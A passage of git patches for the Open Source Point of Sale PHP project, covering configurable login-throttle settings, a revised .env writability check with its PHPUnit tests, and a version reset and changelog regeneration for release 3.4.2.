filter_var(env('throttle.seconds'), FILTER_VALIDATE_INT); + if ($seconds === false) { + $seconds = 60; + } + $seconds = max(1, $seconds); + helper('security'); $throttler = Services::throttler(); @@ -34,8 +49,8 @@ class Throttle implements FilterInterface $username = is_scalar($rawUsername) ? strtolower((string) $rawUsername) : ''; $usernameKey = $username !== '' ? 'login-user-' . hash_hmac('sha256', $username, $secret) : null; - $ipOk = $throttler->check($ipKey, self::CAPACITY, self::SECONDS); - $usernameOk = $usernameKey === null || $throttler->check($usernameKey, self::CAPACITY, self::SECONDS); + $ipOk = $throttler->check($ipKey, $capacity, $seconds); + $usernameOk = $usernameKey === null || $throttler->check($usernameKey, $capacity, $seconds); if (!$ipOk || !$usernameOk) { log_message('warning', 'Login throttled for IP {ip} (username: {username})', [ diff --git a/app/Helpers/security_helper.php b/app/Helpers/security_helper.php index 32635d2c8..3c384ce75 100644 --- a/app/Helpers/security_helper.php +++ b/app/Helpers/security_helper.php @@ -236,17 +236,38 @@ function writeNewEncryptionKey(string $configFile, string $key, string $oldKey): /** * Returns true when the current process can write to (or create) .env. * - * A missing .env file is considered writable when the directory is writable. + * The write path (temp file + lock, then rename) needs write permission on + * the DIRECTORY, not on .env itself — a bind-mounted .env can be writable + * while the dir (or a root-owned .env.lock) is not, so .env's own mode is not + * a reliable signal. * * @return bool */ function envFileIsWritable(): bool { $configPath = config('SecurityEnv')->envPath; + $lockPath = config('SecurityEnv')->lockPath; + $dir = dirname($configPath); - return file_exists($configPath) - ? is_writable($configPath) - : is_writable(dirname($configPath)); + if (!is_writable($dir)) { + return false; + } + + // Windows-only: rename() can't replace a read-only destination, so an + // existing .env must itself be writable (POSIX rename() can, if the dir is). + if (PHP_OS_FAMILY === 'Windows' + && file_exists($configPath) + && !is_writable($configPath) + ) { + return false; + } + + // An existing mutex file (e.g. left by a prior root env:provision) must be writable. + if (file_exists($lockPath) && !is_writable($lockPath)) { + return false; + } + + return true; } /** diff --git a/tests/Config/EncryptionTest.php b/tests/Config/EncryptionTest.php new file mode 100644 index 000000000..071e04519 --- /dev/null +++ b/tests/Config/EncryptionTest.php @@ -0,0 +1,54 @@ +assertSame( + 'server-key', + Encryption::resolveKey('server-key', 'env-key', 'getenv-key', 'docker-key') + ); + } + + public function testEmptyStringDoesNotShadowLaterSource(): void + { + // A `??`-based lookup would stop at a higher-precedence empty string; + // the cascade must skip empties and reach the real key. + $this->assertSame( + 'getenv-key', + Encryption::resolveKey('', '', 'getenv-key', 'docker-key') + ); + + $this->assertSame( + 'docker-key', + Encryption::resolveKey('', '', '', 'docker-key') + ); + } + + public function testAllEmptySourcesReturnEmptyString(): void + { + $this->assertSame('', Encryption::resolveKey('', '', '', '')); + } + + public function testPrefixedFallbackKeyIsDecoded(): void + { + // Fallback-selected keys (notably ENCRYPTION_KEY, which BaseConfig + // never reads) must be decoded like BaseConfig does, so a + // hex2bin:/base64:-prefixed value is not stored verbatim. + $this->assertSame("\xab\xcd", Encryption::parseKey('hex2bin:abcd')); + $this->assertSame("\x68\x65\x6c\x6c\x6f", Encryption::parseKey('base64:aGVsbG8=')); + + // No prefix / empty value passes through unchanged. + $this->assertSame('plain-key', Encryption::parseKey('plain-key')); + $this->assertSame('', Encryption::parseKey('')); + } +} diff --git a/tests/Filters/ThrottleTest.php b/tests/Filters/ThrottleTest.php index 997804430..0edf51926 100644 --- a/tests/Filters/ThrottleTest.php +++ b/tests/Filters/ThrottleTest.php @@ -161,4 +161,102 @@ class ThrottleTest extends CIUnitTestCase $this->assertNotNull($result); $this->assertSame(429, $result->getStatusCode()); } + + public function testCustomCapacityIsHonored(): void + { + $ip = '203.0.113.7'; + $prev = $this->captureEnv('throttle.capacity'); + + $this->putEnv('throttle.capacity', '2'); + + try { + $this->assertNull($this->filter->before($this->makeRequest('POST', $ip, 'c1'))); + $this->assertNull($this->filter->before($this->makeRequest('POST', $ip, 'c2'))); + + $result = $this->filter->before($this->makeRequest('POST', $ip, 'c3')); + + $this->assertNotNull($result); + $this->assertSame(429, $result->getStatusCode()); + } finally { + $this->restoreEnv('throttle.capacity', $prev); + } + } + + public function testZeroCapacityDisablesThrottling(): void + { + $ip = '203.0.113.8'; + $prev = $this->captureEnv('throttle.capacity'); + + $this->putEnv('throttle.capacity', '0'); + + try { + for ($i = 0; $i < 10; $i++) { + $result = $this->filter->before($this->makeRequest('POST', $ip, "z{$i}")); + $this->assertNull($result, "Attempt {$i} should not be throttled when disabled"); + } + } finally { + $this->restoreEnv('throttle.capacity', $prev); + } + } + + public function testInvalidCapacityFallsBackToDefault(): void + { + // A non-numeric value must fall back to the default (5), not disable. + $ip = '203.0.113.9'; + $prev = $this->captureEnv('throttle.capacity'); + + $this->putEnv('throttle.capacity', 'five'); + + try { + for ($i = 0; $i < 5; $i++) { + $this->assertNull($this->filter->before($this->makeRequest('POST', $ip, "v{$i}"))); + } + + // 6th attempt exceeds the default capacity of 5. + $result = $this->filter->before($this->makeRequest('POST', $ip, 'v6')); + $this->assertNotNull($result); + $this->assertSame(429, $result->getStatusCode()); + } finally { + $this->restoreEnv('throttle.capacity', $prev); + } + } + + private function captureEnv(string $key): array + { + return [ + 'putenv' => getenv($key), + 'hasENV' => array_key_exists($key, $_ENV), + 'ENV' => $_ENV[$key] ?? null, + 'hasSRV' => array_key_exists($key, $_SERVER), + 'SERVER' => $_SERVER[$key] ?? null, + ]; + } + + private function putEnv(string $key, string $value): void + { + putenv("{$key}={$value}"); + $_ENV[$key] = $value; + $_SERVER[$key] = $value; + } + + private function restoreEnv(string $key, array $prev): void + { + if ($prev['putenv'] === false) { + putenv($key); + } else { + putenv("{$key}={$prev['putenv']}"); + } + + if ($prev['hasENV']) { + $_ENV[$key] = $prev['ENV']; + } else { + unset($_ENV[$key]); + } + + if ($prev['hasSRV']) { + $_SERVER[$key] = $prev['SERVER']; + } else { + unset($_SERVER[$key]); + } + } } diff --git a/tests/helpers/security_helperTest.php b/tests/helpers/security_helperTest.php index 7d18282e7..42a9d7699 100644 --- a/tests/helpers/security_helperTest.php +++ b/tests/helpers/security_helperTest.php @@ -301,14 +301,31 @@ class security_helperTest extends CIUnitTestCase $this->assertTrue(envFileIsWritable()); } - public function testEnvFileIsWritableReturnsFalseWhenFileIsReadonly(): void + public function testEnvFileIsWritableReturnsFalseWhenLockFileIsReadOnly(): void { + $this->skipIfRoot(); file_put_contents($this->envPath, "# tmp\n"); - chmod($this->envPath, 0444); + file_put_contents($this->lockPath, ""); + chmod($this->lockPath, 0444); - $this->assertFalse(envFileIsWritable()); + try { + $this->assertFalse(envFileIsWritable()); + } finally { + @unlink($this->lockPath); + } + } - chmod($this->envPath, 0644); + public function testEnvFileIsWritableReturnsFalseWhenDirectoryIsNotWritable(): void + { + $this->skipIfRoot(); + file_put_contents($this->envPath, "# tmp\n"); + chmod($this->sandbox, 0500); + + try { + $this->assertFalse(envFileIsWritable()); + } finally { + chmod($this->sandbox, 0700); + } } // -- checkEncryption() -- @@ -340,16 +357,18 @@ class security_helperTest extends CIUnitTestCase public function testCheckEncryptionThrowsWhenKeyEmptyAndEnvNotWritable(): void { + $this->skipIfRoot(); config('Encryption')->key = ''; file_put_contents($this->envPath, "encryption.key=''\n"); - chmod($this->envPath, 0444); + file_put_contents($this->lockPath, ""); + chmod($this->lockPath, 0444); try { $this->expectException(RuntimeException::class); $this->expectExceptionMessage('provisioned'); checkEncryption(); } finally { - chmod($this->envPath, 0644); + @unlink($this->lockPath); } } @@ -392,11 +411,9 @@ class security_helperTest extends CIUnitTestCase public function testCheckEncryptionRollsBackWhenSaveAllFails(): void { - // Regression guard (thread #2): if the post-rotation saveAll() fails, - // the freshly rotated .env key must be restored from the backup so the - // original CI3 ciphertext stays decryptable. A failing fake Appconfig - // (injected via CI3SecretConverter) forces saveAll() to throw without - // a real database. + // If the post-rotation saveAll() fails, the rotated key must be rolled + // back so the original CI3 ciphertext stays decryptable. A failing fake + // Appconfig (injected via CI3SecretConverter) makes saveAll() throw. $oldKey = bin2hex(random_bytes(16)); // < 64 chars -> CI3 era $plaintext = ['smtp_pass' => 'keep-me-safe']; $ciphertext = array_map(fn ($v) => $this->ci3Encrypt($v, $oldKey), $plaintext); @@ -453,17 +470,19 @@ class security_helperTest extends CIUnitTestCase public function testCheckThrottleEncryptionThrowsWhenKeyMissingAndEnvNotWritable(): void { + $this->skipIfRoot(); putenv('throttle.key'); unset($_ENV['throttle.key'], $_SERVER['throttle.key']); file_put_contents($this->envPath, "encryption.key='abc'\n"); - chmod($this->envPath, 0444); + file_put_contents($this->lockPath, ""); + chmod($this->lockPath, 0444); try { $this->expectException(RuntimeException::class); $this->expectExceptionMessage('provisioned'); checkThrottleEncryption(); } finally { - chmod($this->envPath, 0644); + @unlink($this->lockPath); } } @@ -657,4 +676,22 @@ class security_helperTest extends CIUnitTestCase $this->assertFileDoesNotExist($this->backupPath); } + + /** + * When PHPUnit runs as root, is_writable() reports 0444 files as writable + * (and root bypasses directory permission bits), so the "not writable" + * fixtures cannot be faked reliably. Skip those tests under root. + */ + private function skipIfRoot(): void + { + $isRoot = false; + if (function_exists('posix_geteuid')) { + $isRoot = posix_geteuid() === 0; + } elseif (function_exists('get_current_user')) { + $isRoot = in_array(get_current_user(), ['root', '0'], true); + } + if ($isRoot) { + $this->markTestSkipped('is_writable() is bypassed when running as root; cannot fake a non-writable fixture'); + } + } } From 7aa624c8ea020f0412a3efb873f8197aa4335ba5 Mon Sep 17 00:00:00 2001 From: jekkos Date: Wed, 30 Sep 2026 16:23:17 +0000 Subject: [PATCH 20/31] chore: reset 3.4.2 (undo premature 3.4.3 bump + stale changelog) for re-cut --- CHANGELOG.md | 232 +-------------------------------------------- app/Config/App.php | 2 +- package-lock.json | 2 +- package.json | 2 +- 4 files changed, 4 insertions(+), 234 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b0ee0efac..407c8b711 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,4 @@ -[unreleased]: https://github.com/opensourcepos/opensourcepos/compare/3.4.2...HEAD -[3.4.2]: https://github.com/opensourcepos/opensourcepos/compare/3.4.1...3.4.2 +[unreleased]: https://github.com/opensourcepos/opensourcepos/compare/3.4.1...HEAD [3.4.1]: https://github.com/opensourcepos/opensourcepos/compare/3.4.0...3.4.1 [3.4.0]: https://github.com/opensourcepos/opensourcepos/compare/3.3.9...3.4.0 [3.3.9]: https://github.com/opensourcepos/opensourcepos/compare/3.3.8...3.3.9 @@ -34,235 +33,6 @@ All notable changes to this project will be documented in this file. ## [Unreleased] -## [3.4.2] - 2026-09-24 -- Fix writable folder permission check (#4270) (#4273) by @jekkos -- Extended payment delete fix (#4274) by @jekkos -- Upgrade github workflow (#3708) (#4280) by @jekkos -- Fix typo in writeable (#4270) by @jekkos -- Fix migration 20250522000000 (#4284) by @jekkos -- Upgrade to ci 4.6.2 (#4296) (#4298) by @jekkos -- Fix barcode generation in items (#4270) by @jekkos -- Allow empty tax category id (#4285) (#4288) by @jekkos -- Fix security incident email address (#4298) by @jekkos -- Fix item kits update (#4294) by @jekkos -- Revert toast message sanitization (#4302) by @jekkos -- Fix for suspended sales (#4283) (#4303) by @jekkos -- Fix reference to uploads folder (#4270) (#4286) by @jekkos -- Add generic try/catch in import (#4302) by @jekkos -- Bump jspdf from 3.0.1 to 3.0.2 (#4309) by @dependabot[bot] -- Fix mount path for uploads (#4308) by @jekkos -- Add transactions to missing config keys migration. (#4318) by @Joe Williams -- [Feature] Add logging to migrations (#4327) by @Joe Williams -- Clean up docker compose setup (#4308) by @jekkos -- Fix tax configuration pages (#4331) by @jekkos -- Update SECURITY.md contact (#4335) by @jekkos -- Add server side validation for password (#4335) by @jekkos -- Add env variable to disallow pwd change (#4325) by @jekkos -- Add recent releases to issue template (#4317) by @jekkos -- Add DOMpurify + fix XSS (#4341) by @jekkos -- Fix attachment cid (#4314) by @jekkos -- Add DOMPurify to JS includes (#4341) by @jekkos -- Allow anonymous giftcard creation (#4278) by @jekkos -- Fix toast notifications in config (#4341) (#4343) by @jekkos -- Fix creation of date attribute value (#4310) (#4344) by @jekkos -- Fix wrong migration script location (#4285) by @jekkos -- Escape return_policy in receipt + invoice (#4349) by @jekkos -- Fix for detailed suppliers report (#4351) by @jekkos -- Add show/hide cost price & profit feature - in reports #4130 (#4350) by @BhojKamal -- Fix travis build after merge (#4130) by @jekkos -- Add equals as permitted URI character (#4329) by @Chathura Dilushanka -- Fix multiple XSS vulnerabilities (#3965) (#4356) by @jekkos -- Bump lodash from 4.17.21 to 4.17.23 (#4369) by @dependabot[bot] -- Bump jspdf and jspdf-autotable (#4373) by @dependabot[bot] -- Fix XSS vulnerabilities in invoices + receipts (#3965) (#4363) by @jekkos -- Fix XSS vulnerability in attributes (#3965) by @jekkos -- Fix XSS vulnerability in register (#3965) by @jekkos -- Fix XSS vulnerability in register (#3965) by @jekkos -- Fix XSS vulnerabilities in invoice_email.php view by @jekkos -- Fix permission bypass in Reports submodule access control (#4389) by @jekkos -- Use Content-Type application/json for AJAX responses (#4357) by @jekkos -- Language Array Key Typo Fix (#4371) by @Lucas Lyimo -- Fix: Refresh session language for employee after update. (#4245) by @jekkos -- Fix Docker image upload by replacing slashes in TAG by @jekkos -- Fix broken object-level authorization in Employees controller (CVE-worthy) (#4391) by @jekkos -- Bump dompurify from 3.3.1 to 3.3.2 (#4402) by @dependabot[bot] -- Fix incorrect argument types in migration round_number() methods (#4403) by @jekkos -- dd validation for invalid stock locations in CSV import (#4399) by @jekkos -- fix(security): whitelist and validate invoice template types (#4393) by @jekkos -- Fix second-order SQL injection in currency_symbol config (#4390) by @jekkos -- Add row-level authorization to password change endpoints (#4401) by @jekkos -- Fix: Handle image filenames with spaces in thumbnails by @jekkos -- Fix: Sanitize image filenames to prevent thumbnail display issues (#4372) by @jekkos -- Add migration to fix existing image filenames with spaces (#4372) by @jekkos -- Refactor: Move ADMIN_MODULES to constants, rename methods to camelCase by @jekkos -- Fix SQL injection in custom attribute search by @Ollama -- Fix stored XSS vulnerability in item descriptions by @Ollama -- Fix stored XSS vulnerabilities in employee permissions and customer data by @Ollama -- Fix: Preserve CHECKBOX attribute state when adding attributes (#4385) by @jekkos -- Fix payment type becoming null when editing sales by @Ollama -- Fix broken SQL injection fix - use havingLike() instead of having() with named params by @Ollama -- Fix mass assignment vulnerability in bulk edit by @Ollama -- Sync language files (#3468) by @Ollama -- Add workflow to auto-update issue templates with releases by @Ollama -- Update SECURITY.md with published security advisories by @Ollama -- Bump jspdf from 4.1.0 to 4.2.0 (#4383) by @dependabot[bot] -- Add filter persistence for table views via URL query string (#4400) by @jekkos -- Fix filter persistence javascript issues (#4400) by @jekkos -- Fix PHPUnit test configuration for database connectivity (#4430) by @jekkos -- Fix IDOR vulnerability in password change (#4427) by @jekkos -- Fix XSS vulnerability in tax invoice view (#4432) by @jekkos -- Fix permission bypass in Sales.getManage() access control (#4428) by @jekkos -- Update SECURITY.md with published security advisories (#4431) by @jekkos -- Fix SQL injection in suggestions column configuration (#4421) by @jekkos -- Fix PHPUnit environment variables not being set (#4434) by @jekkos -- Fix DECIMAL attribute not respecting locale format (#4422) by @jekkos -- Fix stored XSS vulnerability in Attribute Definitions (#4429) by @jekkos -- Fix: Host Header Injection vulnerability by @Ollama -- Fix stored XSS in gcaptcha_site_key on login page by @Ollama -- Fix stored XSS via stock location name by @Ollama -- Fix Token_lib::render() for PHP 8.4 compatibility by @Ollama -- Use CIUnitTestCase for consistency with other tests by @Ollama -- Fix: Pass parameter to generate() and add composite format tests by @Ollama -- Fix strftime directives handling and tighten test assertions by @Ollama -- Add AGENTS.md with coding guidelines for AI agents by @Ollama -- Fix: Add Debit Card filter to Daily Sales and Takings by @Ollama -- Fix Taxes Summary Report totals not matching row values by @Ollama -- Add unit tests for Taxes Summary Report calculations by @Ollama -- Fix rounding consistency and update tests per review feedback by @Ollama -- Rewrite tests to use database integration testing by @Ollama -- Add seed data to tests for proper integration testing by @Ollama -- Fix: Restrict employee selection in expenses and receivings forms by @Ollama -- Fix review comments: remove redundant loop and add XSS escaping by @Ollama -- Bump jspdf from 4.2.0 to 4.2.1 by @dependabot[bot] -- Bump picomatch from 2.3.1 to 2.3.2 (#4451) by @dependabot[bot] -- fix: Clear sale session after completing sale by @Ollama -- fix: Remove redundant clear_mode() calls by @Ollama -- Translate missing strings in multiple languages by @Ollama -- Fix translation issues from code review by @Ollama -- Remove English fallbacks from non-English translations by @Ollama -- Add Calendar.php translations for missing languages by @Ollama -- feat: migrate CI from Travis to GitHub Actions with enhancements by @Ollama -- refactor: remove tables.sql and constraints.sql (#4447) by @Ollama -- refactor: remove build-database gulp task (#4447) by @Ollama -- refactor: optimize Docker image size by @Ollama -- fix: remove duplicate phpunit.xml that prevented tests from running by @Ollama -- fix: Use file-based session until database is migrated by @Ollama -- feat: Improve migration UX on login page by @Ollama -- Disable opencode workflow + run docker build by @jekkos -- Fix negative price/quantity/discount validation (#4450) by @Nozomu Sasaki (Paul) -- fix(ci): replace / with _ in branch names for Docker tags by @Ollama -- fix(security): prevent command injection in sendmail path configuration by @Ollama -- fix(security): prevent SQL injection in tax controller sort columns by @Ollama -- feat: add release workflow with automated version bumping by @Ollama -- refactor: simplify release workflow to version bump only by @Ollama -- fix: address review comments by @Ollama -- fix: address all review comments and restore issue template version update by @Ollama -- fix: Tax Rate form not loading due to router service failure (#4479) by @jekkos -- fix: Handle empty database on fresh install (#4467) by @jekkos -- Fix: Improve allowedHostnames .env configuration and fail-fast in production (#4482) by @jekkos -- [Feature]: Case-sensitive attribute updates and CSV Import attribute deletion capability (#4384) by @objecttothis -- fix: change docker image tag to master by @jekkos -- Update to CodeIgniter 4.7.2 (#4485) by @objecttothis -- Bump lodash from 4.17.23 to 4.18.1 (#4462) by @dependabot[bot] -- [Fix]: Add missing return statements to Sales Controller functions by @Ollama -- Encourage users to star the project by @objecttothis -- Bump dompurify from 3.3.2 to 3.4.0 (#4512) by @dependabot[bot] -- fix: propagate attribute definition failures in postSaveGeneral() (#4509) by @jekkos -- fix: Escape dynamic output and fix CSS property in barcode_sheet.php (#4501) by @jekkos -- Fix CRC currency reverting to EUR/LAK in locale config (#4511) by @jekkos -- fix: Add missing $img_tag variable in Sales::getSendPdf() (#4515) by @jekkos -- fix: Language dropdown not displaying saved language correctly (#4518) by @jekkos -- fix: Scope orWhere clauses in Item::exists() and Item::get_item_id() (#4520) by @jekkos -- fix: Update calendar translations (#4498) by @jekkos -- fix: Catch mysqli_sql_exception in DB fallback handlers for fresh Docker installs (#4525) by @jekkos -- fix(home): improve internal data type handling for user identification in auth process by @enricodelarosa -- Assignable Keyboard Shortcuts Updates (#4532) by @WShells -- chore: miscellaneous updates and improvements (#4530) by @BudsieBuds -- chore(deps): bump minimatch from 3.1.2 to 3.1.5 (#4536) by @dependabot[bot] -- chore: sync project files to match upstream templates (#4537) by @BudsieBuds -- fix(ci): include hidden files in Docker build context (#4543) by @jekkos -- feat: add ALLOWED_HOSTNAMES environment variable support for Docker/Compose (#4544) by @jekkos -- fix(docker): correct permissions and fix migration barcode_type error (#4546) by @jekkos -- docs: Update SECURITY.md with disclosure process (#4549) by @jekkos -- feat: Bank transfer and wallet payment option added #4540 (#4547) by @BhojKamal -- fix(security): Path traversal vulnerability in getPicThumb (#4545) by @jekkos -- fix(security): SQL injection and path traversal vulnerabilities (#4539) by @jekkos -- fix: Capture CSV import failures in save_tax_data and save_inventory_quantities (#4507) by @jekkos -- fix: validate attributeId > 0 in saveAttributeLink() (#4508) by @jekkos -- feat: Add deployment workflow with approval gates (#4522) by @jekkos -- Bugfixes to get Migration working on MySQL and MariaDB (#4551) by @objecttothis -- Bugfix: Sale search in register not handling trailing space properly (#4557) by @objecttothis -- fix: cast string returns to int in MY_Migration (#4560) by @jekkos -- Add fallback for allowedHostnames environment variable (#4565) by @objecttothis -- fix: Allow searching by Sale ID in Takings/Daily Sales view (#4569) by @jekkos -- Add Guards to Database Migration (#4571) by @objecttothis -- fix: tax rate inputs blank with comma-decimal locales (#4555) by @jekkos -- fix(security): Fix DOMPDF RCE and customer email sanitization (#4568) by @jekkos -- Fix overly lenient date validation (#4574) by @objecttothis -- fix(security): Escape attribute value in register by @jekkos -- chore(deps): bump dompurify from 3.4.0 to 3.4.11 (#4578) by @dependabot[bot] -- Bugfix: Fix problems with migration UI in login (#4589) by @objecttothis -- Forgotten commit from login migration branch (#4592) by @objecttothis -- Feature: Payment reference code (#4587) by @objecttothis -- fix(giftcard): correct return type and rename getGiftcardId method (#4600) by @objecttothis -- chore(deps): bump dompurify from 3.4.11 to 3.4.12 (#4602) by @dependabot[bot] -- bugfix(reports): crash on detailed sales report when sale has multiple payments with reference codes (#4599) by @objecttothis -- style(models): normalize quote style in SQL GROUP_CONCAT expression (#4608) by @objecttothis -- chore(deps): upgrade dompdf from v2.0.8 to v3.1.6 (#4610) by @objecttothis -- chore(deps): bump brace-expansion (#4614) by @dependabot[bot] -- chore(deps): add xlsx via SheetJS CDN and upgrade tableexport plugin (#4615) by @objecttothis -- chore(deps): bump lodash.template from 4.5.0 to 4.18.1 (#4616) by @objecttothis -- fix(login): skip auth validation on new install to allow migration (#4609) by @objecttothis -- fix: Wrap postSave() in single transaction for atomicity (#4506) by @jekkos -- refactor: Replace var with let/const in JavaScript files (#4503) by @jekkos -- fix: get_definition_by_name() returns single row instead of multi-dimensional array (#4452) (#4464) by @Jonathan Chang -- fix(config): validate theme param to prevent XSS via invalid theme (#4620) by @objecttothis -- fix(sales): enforce server-side authorization for price changes (#4631) by @objecttothis -- fix(sales): escape quote number in email template to prevent XSS (#4625) by @objecttothis -- refactor(migrations): rename execute_script to executeScript across all migrations (#4611) by @objecttothis -- fix(auth): validate gcaptcha before password to prevent bypass (#4618) by @objecttothis -- refactor: apply PSR-12 naming to Attribute definition methods (#4624) by @Rayan Abdul Cader -- fix(security): sanitize filenames and escape logo path in config (#4630) by @objecttothis -- fix: use db_connect() for item save transactions (#4636) by @richardmilles -- fix(xss): remove redundant escaping that double-encoded item attribute values (#4628) by @objecttothis -- chore(deps): bump codeigniter4/framework from 4.7.2 to 4.7.4 (#4638) by @dependabot[bot] -- chore(deps): bump dompurify from 3.4.12 to 3.4.13 (#4639) by @dependabot[bot] -- Reject item CSV imports whose header row is missing required columns (#4597) by @Sai Asish Y -- fix(items): validate item_number and skip receiving quantity default for temp items (#4621) by @objecttothis -- Feature: CodeIgniter Throttler (#4619) by @objecttothis -- Bugfix: Resolve Race Condition in Rewards and Gift Card Spending (#4640) by @objecttothis -- hotfix(auth): hash throttler keys to improve security (#4646) by @objecttothis -- fix(items): add explicit sentinel value for clearing supplier in bulk edit (#4617) by @objecttothis -- Codeigniter changes between 4.7.2 and 4.7.4 (#4650) by @objecttothis -- Hotfix: Fix CI3 database migration caused by regression (#4649) by @objecttothis -- fix(sales): gate per-record endpoints behind reports_sales grant (#4627) by @objecttothis -- fix(email): update method call to camelCase for PSR-12 compliance (#4659) by @objecttothis -- Feature admin account safeguards (#4657) by @objecttothis -- Ensure payload data is escaped to prevent XSS (#4664) by @objecttothis -- fix(sales): enforce reports_sales grant on search endpoint (#4673) by @objecttothis -- fix(reports, home): resolve double-URL-decoding bypass for method grants (#4660) (#4666) by @objecttothis -- Bugfix tax names (#4677) by @objecttothis -- feat(validation, tests): add `valid_path_strict` rule and integrate into mailpath validation (#4684) by @objecttothis -- fix(sales): harden payment validation and gift card handling by @objecttothis -- fix: prevent duplicate items when editing imported rows (#4634) by @richardmilles -- fix(barcode): resolve string interpolation issue in barcode display html (#4692) by @Vighnesh Nilajakar -- fix(sales): gate getSearch behind reports_sales grant by @jekkos -- bugfix(sales): reject non-negative gift-card amount_tendered (#4674) by @jekkos -- fix(sales): harden unsuspend with auth, status gating, and null safety by @objecttothis -- fix(tests): resolve all phpunit failures — clean-DB suite green (#4626) (#4691) by @jekkos -- fix(licenses): guard malformed data, parallelize gulp tasks, require Node 20 by @objecttothis -- fix(validation): broaden sendmail path regex, expand i18n, strip advisory IDs by @objecttothis -- fix(security): handle special characters in `.env` key values and improve insertion logic (#4656) by @objecttothis -- fix(locale): validate language_code against known locales to block path traversal (#4704) by @jekkos -- Fix: recompute cashup total server-side and force owner identity (#4706) by @jekkos -- feat(security): add THROTTLE_KEY env-var fallback for throttle.key (#4707) by @jekkos -- fix(i18n): translate remaining English labels in Swiss German Items.php (#4701) by @Rayan Abdul Cader -- fix(ci): stop stamping app version onto master and branch Docker tags (#4709) by @jekkos -- chore(deps): bump fflate from 0.8.2 to 0.8.3 (#4690) by @dependabot[bot] -- fix(i18n): swap print_delay_autoreturn number/required messages in 5 locales (#4699) by @Rayan Abdul Cader -- chore(release): unified git-cliff release workflow (changelog + tag + optional bump) (#4711) by @jekkos -- fix(release): push changelog/bump to master via admin PAT (GITHUB_TOKEN blocked by branch protection) by @jekkos - ## [3.4.1] - 2025-06-05 - Feature: PSR-12 Compliant Indentation by @objecttothis in ([#4196](https://github.com/opensourcepos/opensourcepos/pull/4196)) - Add .env to dist zip by @jekkos in ([#4199](https://github.com/opensourcepos/opensourcepos/pull/4199)) diff --git a/app/Config/App.php b/app/Config/App.php index de204b036..13b132b0d 100644 --- a/app/Config/App.php +++ b/app/Config/App.php @@ -12,7 +12,7 @@ class App extends BaseConfig * * @var string */ - public string $application_version = '3.4.3'; + public string $application_version = '3.4.2'; /** * This is the commit hash for the version you are currently using. diff --git a/package-lock.json b/package-lock.json index 13a032102..eb1011d1f 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,6 +1,6 @@ { "name": "@opensourcepos/opensourcepos", - "version": "3.4.3", + "version": "3.4.2", "lockfileVersion": 3, "requires": true, "packages": { diff --git a/package.json b/package.json index 13e735c21..f2546ba4a 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@opensourcepos/opensourcepos", - "version": "3.4.3", + "version": "3.4.2", "description": "Open Source Point of Sale is a web based point of sale system written in the PHP language. It uses MySQL as the data storage back-end and has a simple user interface.", "keywords": [ "point-of-sale", From cb5e2a16a9ac49e0d582eaa4d198633ce9d71efd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 30 Sep 2026 16:27:22 +0000 Subject: [PATCH 21/31] docs: add 3.4.2 changelog --- CHANGELOG.md | 240 ++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 239 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 407c8b711..890a137b2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,5 @@ -[unreleased]: https://github.com/opensourcepos/opensourcepos/compare/3.4.1...HEAD +[unreleased]: https://github.com/opensourcepos/opensourcepos/compare/3.4.2...HEAD +[3.4.2]: https://github.com/opensourcepos/opensourcepos/compare/3.4.1...3.4.2 [3.4.1]: https://github.com/opensourcepos/opensourcepos/compare/3.4.0...3.4.1 [3.4.0]: https://github.com/opensourcepos/opensourcepos/compare/3.3.9...3.4.0 [3.3.9]: https://github.com/opensourcepos/opensourcepos/compare/3.3.8...3.3.9 @@ -33,6 +34,243 @@ All notable changes to this project will be documented in this file. ## [Unreleased] +## [3.4.2] - 2026-09-30 +- Fix writable folder permission check (#4270) (#4273) by @jekkos +- Extended payment delete fix (#4274) by @jekkos +- Upgrade github workflow (#3708) (#4280) by @jekkos +- Fix typo in writeable (#4270) by @jekkos +- Fix migration 20250522000000 (#4284) by @jekkos +- Upgrade to ci 4.6.2 (#4296) (#4298) by @jekkos +- Fix barcode generation in items (#4270) by @jekkos +- Allow empty tax category id (#4285) (#4288) by @jekkos +- Fix security incident email address (#4298) by @jekkos +- Fix item kits update (#4294) by @jekkos +- Revert toast message sanitization (#4302) by @jekkos +- Fix for suspended sales (#4283) (#4303) by @jekkos +- Fix reference to uploads folder (#4270) (#4286) by @jekkos +- Add generic try/catch in import (#4302) by @jekkos +- Bump jspdf from 3.0.1 to 3.0.2 (#4309) by @dependabot[bot] +- Fix mount path for uploads (#4308) by @jekkos +- Add transactions to missing config keys migration. (#4318) by @Joe Williams +- [Feature] Add logging to migrations (#4327) by @Joe Williams +- Clean up docker compose setup (#4308) by @jekkos +- Fix tax configuration pages (#4331) by @jekkos +- Update SECURITY.md contact (#4335) by @jekkos +- Add server side validation for password (#4335) by @jekkos +- Add env variable to disallow pwd change (#4325) by @jekkos +- Add recent releases to issue template (#4317) by @jekkos +- Add DOMpurify + fix XSS (#4341) by @jekkos +- Fix attachment cid (#4314) by @jekkos +- Add DOMPurify to JS includes (#4341) by @jekkos +- Allow anonymous giftcard creation (#4278) by @jekkos +- Fix toast notifications in config (#4341) (#4343) by @jekkos +- Fix creation of date attribute value (#4310) (#4344) by @jekkos +- Fix wrong migration script location (#4285) by @jekkos +- Escape return_policy in receipt + invoice (#4349) by @jekkos +- Fix for detailed suppliers report (#4351) by @jekkos +- Add show/hide cost price & profit feature - in reports #4130 (#4350) by @BhojKamal +- Fix travis build after merge (#4130) by @jekkos +- Add equals as permitted URI character (#4329) by @Chathura Dilushanka +- Fix multiple XSS vulnerabilities (#3965) (#4356) by @jekkos +- Bump lodash from 4.17.21 to 4.17.23 (#4369) by @dependabot[bot] +- Bump jspdf and jspdf-autotable (#4373) by @dependabot[bot] +- Fix XSS vulnerabilities in invoices + receipts (#3965) (#4363) by @jekkos +- Fix XSS vulnerability in attributes (#3965) by @jekkos +- Fix XSS vulnerability in register (#3965) by @jekkos +- Fix XSS vulnerability in register (#3965) by @jekkos +- Fix XSS vulnerabilities in invoice_email.php view by @jekkos +- Fix permission bypass in Reports submodule access control (#4389) by @jekkos +- Use Content-Type application/json for AJAX responses (#4357) by @jekkos +- Language Array Key Typo Fix (#4371) by 